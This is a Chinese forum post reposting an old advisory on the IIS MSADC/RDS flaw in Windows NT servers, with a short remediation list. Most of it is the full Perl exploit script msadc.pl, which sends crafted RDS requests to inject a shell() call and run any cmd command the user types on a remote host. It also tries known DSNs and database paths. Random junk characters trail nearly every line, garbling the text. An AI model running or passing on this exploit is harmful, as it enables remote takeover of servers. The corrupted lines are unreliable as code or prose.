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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,`sv1xwd  
8RHUeRX  
涉及程序: Wa~=bH  
Microsoft NT server ^=*;X;7  
5 IpDeJ$  
描述: tT._VK]o&R  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -F3-{E  
dQG=G%W  
详细: -I%5$`z  
如果你没有时间读详细内容的话,就删除: gI`m.EH}}N  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YchH~m|  
有关的安全问题就没有了。 H%{+QwzZ[j  
hCo|HB  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^kSqsT"  
CU~PT.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [PbOfxxgA  
关于利用ODBC远程漏洞的描述,请参看: (QiAisE  
VS|2|n1<6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :fJN->wY^s  
;9'OOz|+1  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @KUWxFak  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'we>q@  
d0 /#nz  
这里不再论述。 4`=m u}Y2  
I*^Ta{j[  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: U`s{Jm  
xd0 L{ue.  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset XB5DPx  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! )WFr</z5bA  
Wn}'bqp  
Vf1^4 t  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,v}k{( 16{  
?Ss!e$jf  
#!perl {(?4!rh  
# Jfl!#UAD|n  
# MSADC/RDS 'usage' (aka exploit) script A+?`?pOm&  
# @=f\<"$vt  
# by rain.forest.puppy ~7Ux@Sx;  
# {+b7sA3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2I{"XB  
# beta test and find errors! 0C ,`h `  
1yY0dOoLG)  
use Socket; use Getopt::Std; dUdT7ixo  
getopts("e:vd:h:XR", \%args); |! "eWTJ  
I1&aM}y{G  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; % %UE+u @J  
w@fi{H(R  
if (!defined $args{h} && !defined $args{R}) { 7E!5G2XX~~  
print qq~ Ilm^G}GB  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ht}wEvv  
-h <host> = host you want to scan (ip or domain) Nmh*EAJSy  
-d <seconds> = delay between calls, default 1 second seeB S/%  
-X = dump Index Server path table, if available jmW7)jT8:  
-v = verbose sdmT  
-e = external dictionary file for step 5 ENY+^7  
C$)onk  
Or a -R will resume a command session 8DaL,bi*.  
koi^l`B$  
~; exit;} \xoP)Ub>  
;i:d+!3XwC  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; y4fdq7i~}9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "g8M0[7e3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} uY'HT|@:{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); y:l\$ pGC%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Pk)1WK7E  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;sFF+^~L  
P7/X|M z  
if (!defined $args{R}){ $ret = &has_msadc; r]36z X v  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G,w(d@  
jRV/A!4  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" jW@Uo=I[  
. "cmd /c "; Xla~Yg  
$in=<STDIN>; chomp $in; bA->{OPkT  
$command="cmd /c " . $in ; @f_+=}|dc  
'2^Q1{ :\  
if (defined $args{R}) {&load; exit;} 'uEl~> l7  
kMd.h[X~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $E.I84UfX  
&try_btcustmr; ~&bq0 (  
cExS7~*  
print "\nStep 2: Trying to make our own DSN..."; E< fVZ,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -3Vx76Y  
wD)XjX  
print "\nStep 3: Trying known DSNs..."; #;nYg?d=  
&known_dsn; ZJs$STJ*  
gB'6`'  
print "\nStep 4: Trying known .mdbs..."; }`~+]9 <   
&known_mdb; M/gGoE{  
@MCg%Afw  
if (defined $args{e}){ D d</`iUq  
print "\nStep 5: Trying dictionary of DSN names..."; Dm<A ^u8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } n7-6- #  
D >tR-  
print "Sorry Charley...maybe next time?\n"; )+2hl  
exit; 3/n5#&c\4  
,\%c^,HLJ  
############################################################################## )hfpwdQ  
|# 2.Q:&  
sub sendraw { # ripped and modded from whisker k+pr \d~  
sleep($delay); # it's a DoS on the server! At least on mine... ^.NU|NQi'  
my ($pstr)=@_; (JFWna0@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %8~NqS|=  
die("Socket problems\n"); YcpoL@ab  
if(connect(S,pack "SnA4x8",2,80,$target)){ >I&5j/&}+  
select(S); $|=1; W9GVt$T7  
print $pstr; my @in=<S>; |8tilOqI  
select(STDOUT); close(S); dNeVo|Y~h  
return @in; Z>5b;8  
} else { die("Can't connect...\n"); }} q5)O%l!  
| h#u^v3  
############################################################################## '16b2n+F@#  
N5b!.B x-w  
sub make_header { # make the HTTP request j+  0I-p  
my $msadc=<<EOT wcY? rE9  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 HRfYl,S,  
User-Agent: ACTIVEDATA u5f9Jw}  
Host: $ip rCdu0 gYT  
Content-Length: $clen : E )>\&  
Connection: Keep-Alive RdR p.pb8  
o]I\6,T/|  
ADCClientVersion:01.06 n8ZZ#}Nhg  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (M.&^w;`,  
N U`  
--!ADM!ROX!YOUR!WORLD! 'kO!^6=4M  
Content-Type: application/x-varg nk' s_a*Z  
Content-Length: $reqlen H ]Z$OpI  
fHd#u%63K  
EOT 57']#j#"hj  
; $msadc=~s/\n/\r\n/g; |imM# wF  
return $msadc;} 0{}8(  
?QdWrE_  
############################################################################## %S^8c  
[ ~c|mOk  
sub make_req { # make the RDS request &powy7rR  
my ($switch, $p1, $p2)=@_; dk4CpN  
my $req=""; my $t1, $t2, $query, $dsn; Tqn@P  
+E(L\  
if ($switch==1){ # this is the btcustmr.mdb query Gm^U;u}=f  
$query="Select * from Customers where City=" . make_shell(); '$]97b7G  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . O`t&ldU  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} V#gK$uv  
sLT3Y}IO  
elsif ($switch==2){ # this is general make table query XW)lDiJl  
$query="create table AZZ (B int, C varchar(10))"; a fW@T2  
$dsn="$p1";} m'=Crei  
ywmo#qYe  
elsif ($switch==3){ # this is general exploit table query ,Ae6/D$h/  
$query="select * from AZZ where C=" . make_shell(); t pQ(g%  
$dsn="$p1";} u.m[u)HQ  
czgO ;3-C  
elsif ($switch==4){ # attempt to hork file info from index server a P@N)"  
$query="select path from scope()"; LxSpctiNx  
$dsn="Provider=MSIDXS;";} 9ZsVy  
fW1CFRHH  
elsif ($switch==5){ # bad query &d?CCb$|0Y  
$query="select"; \aUC(K~o\;  
$dsn="$p1";} _FU_Ubkr  
|a`Sc %  
$t1= make_unicode($query); umH40rX+  
$t2= make_unicode($dsn); goOCu  
$req = "\x02\x00\x03\x00"; ;rGwc$?|  
$req.= "\x08\x00" . pack ("S1", length($t1)); BLf>_b Uk  
$req.= "\x00\x00" . $t1 ; Kaqc74Mv  
$req.= "\x08\x00" . pack ("S1", length($t2)); XZ]uUP  
$req.= "\x00\x00" . $t2 ; =M [bnq*\  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; -[9JJ/7y  
return $req;} ;LPfXpR  
!v_|zoCEj  
############################################################################## }Gm>`cw-  
/1V xc 6  
sub make_shell { # this makes the shell() statement J~ zUp(>K  
return "'|shell(\"$command\")|'";} iDz++VNV  
qJa H ,  
############################################################################## *-=(Q`3  
S\YTX%Xm}  
sub make_unicode { # quick little function to convert to unicode y@:h4u"3  
my ($in)=@_; my $out; K6/Q}W   
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } FQ7T'G![  
return $out;}  v zs)[AD  
n&;85IF1  
############################################################################## "ESwA  
HU8900k+  
sub rdo_success { # checks for RDO return success (this is kludge) ;!mzyb*  
my (@in) = @_; my $base=content_start(@in); ^Y>F|;M#  
if($in[$base]=~/multipart\/mixed/){ "fCu=@i  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +_?hK{Ib"  
return 0;} oWim}Er=  
^T;*M_  
############################################################################## +ocol6G7W  
Yz/md1T$  
sub make_dsn { # this makes a DSN for us 7Oa#c<2]  
my @drives=("c","d","e","f"); g1/[eoZzk  
print "\nMaking DSN: "; n.`($yR_  
foreach $drive (@drives) { Vod\a 5c  
print "$drive: "; Pw7]r<Q  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,.83m%i  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" hk(ZM#Bh  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); x=hiQ>BIO0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; U0 Yll4E  
return 0 if $2 eq "404"; # not found/doesn't exist 0[NZ>7wqMZ  
if($2 eq "200") { 1MP~dRZ$  
foreach $line (@results) { j^j1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /og=IF2:  
} return 0;} eueH)Xkf  
QuF:p  
############################################################################## +qtJaYf/0  
pXT4)JDpc  
sub verify_exists { )BZ.Sv  
my ($page)=@_; DkY4MH?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); d6?j`~[7#-  
return $results[0];} }{K) 4M  
| C;=-|  
############################################################################## :t"^6xt  
(^8Y|:Tz  
sub try_btcustmr { F 5bj=mI  
my @drives=("c","d","e","f"); ~rE|%o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l[mWf  
oo/qb`-6  
foreach $dir (@dirs) { =t#llgi~  
print "$dir -> "; # fun status so you can see progress 1y4|{7bb  
foreach $drive (@drives) { 7Utn\l  
print "$drive: "; # ditto \+oQd=K@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; T] f ;km  
$reqlenlen=length( "$reqlen" ); 4x=v?g&  
$clen= 206 + $reqlenlen + $reqlen; >\-hO&%_  
>a!/QMh  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); h0*!;Z7  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Go`vfm"S  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #px+;k 5  
,8S/t+H  
############################################################################## mDA:nx%5<  
e&|'I"  
sub odbc_error { s [RAHU  
my (@in)=@_; my $base; pz!Zs."f)  
my $base = content_start(@in); Avge eJi  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this <,3a3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g+8OekzB5  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9%o 32eo,3  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; gDQ^)1k  
return $in[$base+4].$in[$base+5].$in[$base+6];} a=|K%ii+Y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 2prU  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . EKYY6S2  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} afCW(zH p  
5N#aXG^9  
############################################################################## fbyd"(V 8r  
s$zLiQF;  
sub verbose { 8 `v-<J  
my ($in)=@_; ]{;gw<T  
return if !$verbose; +C^nO=[E  
print STDOUT "\n$in\n";} HDz5&7* .  
AmUr.ofu  
############################################################################## 3<e=g)F  
nQF(vTDN  
sub save { I }a`0Y&{  
my ($p1, $p2, $p3, $p4)=@_; CQc+#nRe  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =eq[:K<6  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; H9Gh>u]}  
close OUT;} 2,y|EpG#  
s-NX o  
############################################################################## #JqB ;'\  
[@_Jj3`4  
sub load { (=FRmdeYl1  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; WSP I|#Xr%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {Ea b j  
@p=<IN>; close(IN); kl" hBK#D%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); XMCXQs&  
$target= inet_aton($ip) || die("inet_aton problems"); nd`1m[7MNu  
print "Resuming to $ip ..."; L@rcK!s,lD  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #]-SJWf3  
if($p[1]==1) { b3P+H r  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; +Z,;,5'5G  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %J}xg^+f  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); b;L\EB  
if (rdo_success(@results)){print "Success!\n";} k<z )WNBf  
else { print "failed\n"; verbose(odbc_error(@results));}} M.JA.I@XC  
elsif ($p[1]==3){ .w:DFk^E]b  
if(run_query("$p[3]")){ l&[O  
print "Success!\n";} else { print "failed\n"; }} ,S\CC{!  
elsif ($p[1]==4){ xnjf  
if(run_query($drvst . "$p[3]")){ s$IDLs,WM  
print "Success!\n"; } else { print "failed\n"; }} xKbXt;l2  
exit;} g/4[N{Xf  
y-Fo=y  
############################################################################## >:SHV W  
zxEL+P  
sub create_table { }ZYd4h|g\z  
my ($in)=@_; )',R[|<  
$reqlen=length( make_req(2,$in,"") ) - 28; ip\sXVR  
$reqlenlen=length( "$reqlen" ); ]IaMp788  
$clen= 206 + $reqlenlen + $reqlen; SV4E0c>  
my @results=sendraw(make_header() . make_req(2,$in,"")); .C%<P"=J4h  
return 1 if rdo_success(@results); 1> ?M>vK  
my $temp= odbc_error(@results); verbose($temp); &{5,:%PXw  
return 1 if $temp=~/Table 'AZZ' already exists/; 7Y lchmd  
return 0;} 'I|v[G$l  
0mp/Le5  
############################################################################## *YI98  
>\R+9p:o  
sub known_dsn { _=r6=.  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3l]lwV  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 3qgS&js 7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ME$[=?7XX  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?JbilK}a  
T}Tp$.gB  
foreach $dSn (@dsns) { N>uRf0E>  
print "."; LG0;#3YwH  
next if (!is_access("DSN=$dSn")); q~Hn -5H4Q  
if(create_table("DSN=$dSn")){ k:i4=5^*GX  
print "$dSn successful\n"; Mc lkEfn  
if(run_query("DSN=$dSn")){ I@\lN&HC  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =}^9 wP  
print "Something's borked. Use verbose next time\n";}}} print "\n";} F~ty!(c  
DDQx g  
############################################################################## !vi> U|rh  
J6"9v;V  
sub is_access { t|?ez4/{z  
my ($in)=@_; AF{\6<m  
$reqlen=length( make_req(5,$in,"") ) - 28; $GV7o{"&  
$reqlenlen=length( "$reqlen" ); krxo"WgD  
$clen= 206 + $reqlenlen + $reqlen; ho{*Cjv  
my @results=sendraw(make_header() . make_req(5,$in,"")); BU)U/A8iS  
my $temp= odbc_error(@results); 1q\\5A<V  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); f^ZRT@`O  
return 0;} &, vcJ{.  
G&SB-  
############################################################################## k8yEdi`  
hR n<em  
sub run_query { 1.JK3 3  
my ($in)=@_; KM0ru  
$reqlen=length( make_req(3,$in,"") ) - 28; j3oV+zZ49  
$reqlenlen=length( "$reqlen" ); qx(xvU9  
$clen= 206 + $reqlenlen + $reqlen; "9uKtQS0o  
my @results=sendraw(make_header() . make_req(3,$in,"")); mM~qBrwL  
return 1 if rdo_success(@results); 8,Z_{R#|  
my $temp= odbc_error(@results); verbose($temp); X #dmo/L8  
return 0;} ]]![EHi(\  
A|[?#S((]  
############################################################################## BR_1MG'{)$  
R-wp9^  
sub known_mdb { ]#<4vl\  
my @drives=("c","d","e","f","g"); z kP_6T09  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L+F@:H6/0  
my $dir, $drive, $mdb; je-!4r,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; }Bh8=F3O Q  
(#c*M?g3  
# this is sparse, because I don't know of many )m+W j  
my @sysmdbs=( "\\catroot\\icatalog.mdb", bP#:Oi0v`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Po;W'7"Po`  
"\\system32\\certmdb.mdb", Q}JOU  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% (Rh,,  
hag$GX'2k  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ,KZ~?3$yj  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 5I;&mW`1,`  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", c):/!Q  
"\\cfusion\\cfapps\\security\\realm_.mdb", wu6;.xTLl  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", &B;~  
"\\cfusion\\database\\cfexamples.mdb", @;4zrzQi7  
"\\cfusion\\database\\cfsnippets.mdb", +E+p"7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", bs&43Ae  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", FGJ1dBLr  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ]c*4J\s  
"\\cfusion\\database\\smpolicy.mdb", >uB?rGcM  
"\\cfusion\\database\cypress.mdb", zk+9'r`-D  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", aKDKmHd  
"\\website\\cgi-win\\dbsample.mdb", B@))8.h]  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", r<EY]f^`u  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" QL/(72K  
); #these are just 2'Uu:Y^  
foreach $drive (@drives) { ?R 'r4P,  
foreach $dir (@dirs){ }6~hEc*/"  
foreach $mdb (@sysmdbs) { RC"MdcD:]y  
print "."; 1H`,WQ1mG  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ RBd7YWo\|j  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; W i.& e  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ N>1em!AS  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ?UR0:f:}oc  
} else { print "Something's borked. Use verbose next time\n"; }}}}} MchA{p&Ol  
S13nL^=i  
foreach $drive (@drives) { gJ+'W1$/  
foreach $mdb (@mdbs) { Rv>-4@fMJ  
print "."; d1T!+I  
if(create_table($drv . $drive . $dir . $mdb)){ ?j.,Nw4FC  
print "\n" . $drive . $dir . $mdb . " successful\n"; =svN#q5s  
if(run_query($drv . $drive . $dir . $mdb)){ G*MUO#_iuh  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 4J? 0bZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1&OW4_  
} N~gzDQ3  
Tidn-2L73O  
############################################################################## h#*dI`>l-  
T>Z<]s  
sub hork_idx { 9FR5Jw>t  
print "\nAttempting to dump Index Server tables...\n"; cjY-y-vO  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; H?Wya.7  
$reqlen=length( make_req(4,"","") ) - 28; I{2hfKUe`  
$reqlenlen=length( "$reqlen" ); i]4I [!  
$clen= 206 + $reqlenlen + $reqlen; }<r)~{UV  
my @results=sendraw2(make_header() . make_req(4,"","")); vr l-$ii  
if (rdo_success(@results)){ Q&;9 x?e  
my $max=@results; my $c; my %d; bJ%h53  
for($c=19; $c<$max; $c++){ "sCRdx]_  
$results[$c]=~s/\x00//g; eByz-,{P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V!=,0zy~Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; gf@:R'$:+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; '<<t]kK[N  
$d{"$1$2"}="";} "S]TP$O D  
foreach $c (keys %d){ print "$c\n"; } Y.UFbrv  
} else {print "Index server doesn't seem to be installed.\n"; }} ?l )[7LR4  
d0ks G$  
############################################################################## X_h}J=33Q  
t:Q*gW Rh  
sub dsn_dict { j^JPZ{ej ?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [q -h|m  
while(<IN>){ <'*LRd$1  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Sm|6 %3  
next if (!is_access("DSN=$dSn")); "+s++@ z  
if(create_table("DSN=$dSn")){ FZlWsp=  
print "$dSn successful\n"; 6{b >p+U  
if(run_query("DSN=$dSn")){ >bW #Zs,6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { da(<K}  
print "Something's borked. Use verbose next time\n";}}} bd-L` ={j  
print "\n"; close(IN);} Yq KCeg  
D,feF9  
############################################################################## /4Gt{yg Sr  
p5iuYHKk?  
sub sendraw2 { # ripped and modded from whisker .q>iXE_c  
sleep($delay); # it's a DoS on the server! At least on mine... &8lZNv8;(p  
my ($pstr)=@_; ux4POO3C|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S1_RjMbYM  
die("Socket problems\n"); MTn{d  
if(connect(S,pack "SnA4x8",2,80,$target)){ sgFEK[w.y  
print "Connected. Getting data"; y6a3t G  
open(OUT,">raw.out"); my @in; ;=z:F<Y  
select(S); $|=1; print $pstr; >[#f\bG>  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <5051U Eu  
close(OUT); select(STDOUT); close(S); return @in; W=?<<dVYD  
} else { die("Can't connect...\n"); }} z24q3 3O  
CU0YIL  
############################################################################## _[BP 0\dPW  
tw@X> G1z  
sub content_start { # this will take in the server headers :ws<-Qy  
my (@in)=@_; my $c; m&3xJuKih  
for ($c=1;$c<500;$c++) { :3 mh@[V  
if($in[$c] =~/^\x0d\x0a/){ }GM'.yutX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;^L(^Hx  
else { return $c+1; }}} LghfM"g  
return -1;} # it should never get here actually %hP^%'G  
5^Zg>I  
############################################################################## y~V(aih}D  
yHaGkm  
sub funky { ca9X19NG  
my (@in)=@_; my $error=odbc_error(@in);  bN.Pex  
if($error=~/ADO could not find the specified provider/){ er\|i. Y  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %C]>9."  
exit;} 4+tEFxvX&  
if($error=~/A Handler is required/){ 3so %gvY.'  
print "\nServer has custom handler filters (they most likely are patched)\n"; %yC,^  
exit;} /$m;y[[  
if($error=~/specified Handler has denied Access/){ ALHIGJW:6$  
print "\nServer has custom handler filters (they most likely are patched)\n"; xIn:ZKJ'  
exit;}} *^`Vz?g<  
XWw804ir  
############################################################################## rm_Nn8p,  
;.C\Ss<>*  
sub has_msadc { <UCl@5g&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); nk:)j:fr  
my $base=content_start(@results); L/[K"  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); l,).p  
return 0;} !r-F>!~  
/L 3:  
######################## F'Z,]b'st3  
7:@'B|  
KPki}'GO  
解决方案: p ll)Y  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll X>^fEQq"  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 A}w/OA97RO  
}B^tL$k  
拿出来充数 哈哈
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